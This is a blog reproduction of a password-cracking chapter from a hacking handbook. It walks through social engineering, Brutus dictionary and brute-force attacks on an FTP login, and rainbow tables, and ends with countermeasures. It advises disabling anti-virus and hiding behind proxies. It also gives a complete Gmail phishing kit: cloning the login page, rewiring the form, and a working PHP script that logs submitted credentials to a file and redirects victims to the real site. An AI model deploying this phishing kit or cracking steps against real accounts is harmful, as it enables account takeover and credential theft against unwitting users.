Jumat, 28 Juli 2017




Nowadays, passwords are the only form of security on most websites and computer systems. It has become one of the most common and easiest ways for a hacker to gain unauthorized access to your computer or network.

Password Cracking

Before we get into cracking passwords with programs, I will explain a couple old-fashioned ways to obtain someone’s password

• Social Engineering – Social engineering is when a hacker takes advantage of trusting human beings to get information from them. For example, if the hacker was trying to get the password for a co-workers computer, he (Even though I use “he”, hackers are of both genders, and I just chose to use “he” in these examples.) could call the co-worker pretending to be from the IT department. The conversation could be something like:

          Bob- “Hello Suzy. My name is Bob and I’m from the IT department. We are currently attempting to install a new security update on your computer, but we can’t seem to connect to the user database and extract your user information. Would you mind helping me out and letting me know your password before my boss starts breathing down my neck? It’s one of those days, ya’ know?”
Suzy would probably feel bad for Bob and let him know her password without any hesitation. BAM! She got social engineered. Now the hacker can do whatever he pleases with her account.

Shoulder surfing – Shoulder surfing is exactly what it sounds like. The hacker would simply attempt to look over your shoulder as you type in your password. The hacker may also watch weather you glance around your desk, looking for a written reminder or the written password itself.
Guessing – If you use a weak password, a hacker could simple guess it by using the information he knows about you. Some examples of this are: date of birth, phone number, favorite pet, and other simple things like these.

Now that we have the simple low-tech password cracking techniques out of the way, let’s explore some high-tech techniques. Some of the programs I will use in my examples may be blocked by your anti-virus programs when you attempt to run them. Make sure you disable your anti-virus program when you decide to download and explore them.
There are different ways a hacker can go about cracking a password. Below I will explain and give an example of each way.

Dictionary Attacks

A dictionary attack is when a text file full of commonly used passwords, or a list of every word from the dictionary is used against a password database. Strong passwords usually aren’t vulnerable to this kind of attack. In the following example, I will use Brutus, a very common password cracker, to show a dictionary attack against an ftp server. Brutus is a Windows only program, but at the end of this chapter I will list a couple more password crackers, some of which are made for Mac, Windows, and Linux.

          Before I get into the example, you must first know what an FTP server is. FTP stands for File Transfer Protocol. FTP is a simple way to exchange files over the internet. If a hacker got FTP access to my website, he could delete/upload anything he wants on my server. An FTP address looks similar to a website address except it uses the prefix ftp:// instead of http://. I set up an FTP server on my computer so I could demonstrate. You can get Brutus at http://www.hoobie.net/brutus/ .

1. First the hacker would choose a target. In this case it’s my home computer and the IP address for your home computer is .

2. By going to I get a pop-up box asking for a username and password.

3. Next the hacker would launch a program similar to Brutus and attempt to crack the password.

4. In the target you put the IP address of the website and to the right select the appropriate option, which in this case is FTP.

5. The default port is 21 but some websites change this to make them a little more secure. If you find out that the port isn’t 21, you can find the right one by doing a port scan. We will get into this later in the book.

6. If you don’t know any of the usernames for the FTP server, then you will have to get a list of the most common usernames.

7. For a dictionary attack you will have to choose the pass mode Word List and browse and select the file containing your word list. You can get some good password lists at http://packetstormsecurity.org/Crackers/wordlists/ . Below are examples of what a username and password list might look like.

8. Once you hit Start the program will attempt to connect to the server and begin to try all the possible combinations from your lists.

9. If you’re lucky, eventually it’ll get the right Username:Password combination. As you can see below, it got the correct combination of username – admin and password – password.

10. A smarter hacker would use a proxy when using a program like this. What a proxy does is cloaks your IP address by sending your connection request through another computer before going to the target. This is a smart idea because as you will see in the image below, Brutus leaves a huge log of your presence on the target server.

11. In place of the IP address would be the hackers IP address. Footprints like these get a hacker caught and into a lot of trouble with the law.

Brute-force Attacks

With time, brute-force attacks can crack any passwords. Brute-force attacks try every possible combination of letters, numbers, and special characters until the right password is found. Brute-force attacks can take a long time. The speed is determined by the speed of the computer running the cracking program and the complexity of the password. Below I will show you how Brutus can be used against the same FTP server but this time using the brute-force option.

1. Put in the target and port the same way you did for the dictionary attack. For the pass mode choose Brute-force and click range.

2. If you have an idea of what the password might be, then you can choose the right option. For example if you know a site that requires your password to be a certain length then you’ll know what to put down as a minimum length thus narrowing down the end results and shortening the cracking process.

3. I chose lowercase alpha which has the second smallest amount of combinations. Even at second smallest it came up with 321, 272,407 possible password combinations. Now you know why it can take so long to crack one password.

Rainbow Tables

         A Rainbow table is a huge pre-computed list of hash values for every possible combination of characters. A password hash is a password that has gone through a mathematical algorithm that transformed it into something absolutely foreign. A hash is a one way encryption so once a password is hashed there is no way to get the original string from the hashed string. A very common hashing algorithm used as security to store passwords in website databases is MD5.
Rainbow Tables

    Let’s say you are registering for a website. You put in a username and password. Now when you submit, your password goes through the MD5 algorithm and the outcome hash is stored in a database. Now since you can’t get the password from the hash, you may be wondering how they know if your password is right when you login. Well when you login and submit your username

and password, a script takes your password and runs it through the md5 algorithm. The outcome hash is compared to the hash stored in the database. If they are the same, you are admitted.
If I were to run the word “cheese” through the md5 algorithm, the outcome would be fea0f1f6fede90bd0a925b4194deac11

Having huge tables of every possible character combination hashed is a much better alternative to brute-force cracking. Once the rainbow tables are created, cracking the password is a hundred times faster than brute-forcing it. I will show an example of rainbow table cracking when we get into Windows password cracking.


Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack.

1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Hotmail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.

2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit + S
which does this automatically. Choose where you would like to save the web page and hit Save.

3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.

4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.

This marks the beginning of the PHP script
Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.
$handle = fopen(“list.txt”, “a”); // this tells the server to open the file
“list.txt” and get it ready for appending data. Which in this case is your username and password.
Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
} // This section simply assigns all the information going through this form to a variable. This includes your username and password.
Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”
fclose($handle); // This simply closes the connection to the file “list.txt”
?> // Marks the end of the PHP program.

So far you should see the following in your folder:

5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.

6. Hit + F , or go to Edit -> Find , type in action and hit “Find Next”.

There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google. After the link you will see the code:
Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.

8. Save and close the file.

9. Next the hacker would upload the files up to a free webhost that supports PHP. With a simple Google search you can come up with a bunch that fall under this category.

10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”.

11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.

12. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL. Now if I put a username of “myusername” and a password of “mypassword” then “list.txt” would now look like the following:

As you can see if you fell for this the hacker would have your email and password. Scary, eh?


I will now show you all the countermeasures you should take to protect yourself from all of the password cracking attacks talked about in this chapter.

Social Engineering

To protect yourself from social engineering attacks like the one discussed in this chapter you must learn to question the possible attacker. If you get a phone call from someone, and you think that there may be a chance that the person isn’t who he says he is, then ask him some questions that he should be able to answer to establish his legitimacy. Some professional social engineers study the company before attacking, so they might know all the answers. That’s why, if you still have some doubts, you should ask the head of whatever department the attacker is from to find out if he is legit. Better safe than sorry.

Shoulder Surfing

When you type in your password make sure there is no one behind you attempting to peak. If there is, turn around and drop kick him/her in the face. No not really. Also, make sure you don’t keep any sticky notes laying around that have your password or password hints on them.


To prevent this attack from happening, never use a password like your birth date, your mother’s maiden name, your pets name, your spouse’s name, or anything that someone may be able to guess.

Dictionary Attacks

Dictionary attacks are very simple to prevent. Don’t use a password that is in the dictionary. Some people may think that if they use a word from the dictionary but replace most of the letters with a number, then they are safe. They are not. There are 1337 speak dictionary’s out there too. Basically what 1337 speak is, is changing a word like “animal” to 4n1m41. For a secure password, I would recommend using a phrase such as “doyoulikecheese?88”.

Brute-force Attacks

Brute-force attacks may be prevented by creating a very long password and using many numbers and odd characters. The longer the password the longer it takes for the hacker to crack your password. If after a few days the hacker hasn’t been able to crack your password through a brute-force attack, then he is very likely to just give up. Like I said in the dictionary attacks, creating a phrase for your password is your best option for staying secure.

Rainbow Tables

You can avoid rainbow table cracking by simply making your password extremely long. Creating tables for passwords that are long takes a very long time and a lot of resources. That is why there aren’t many of these tables available.


Phishing attacks are very simple to avoid. When you are asked to put your personal information into a website, look up into the URL bar. If for example you are supposed to be on Gmail.com and in the URL bar it says something completely different like gmail.randomsite.com, or gamilmail.com, then you know this is a fake. When you are on the real Gmail website, the URL should begin with
www.google.com anything else is a fake.

More Programs
Now that you know what password cracking is, you might be interested in learning some more of the popular cracking software I have listed below:

• Can and Abel • John the Ripper• THC Hydra• SolarWinds• RainbowCrack

Now we are done with the Passwords part of The Hacker’s Underground Handbook.You can now download the rest of the topic by clicking download at the below link...


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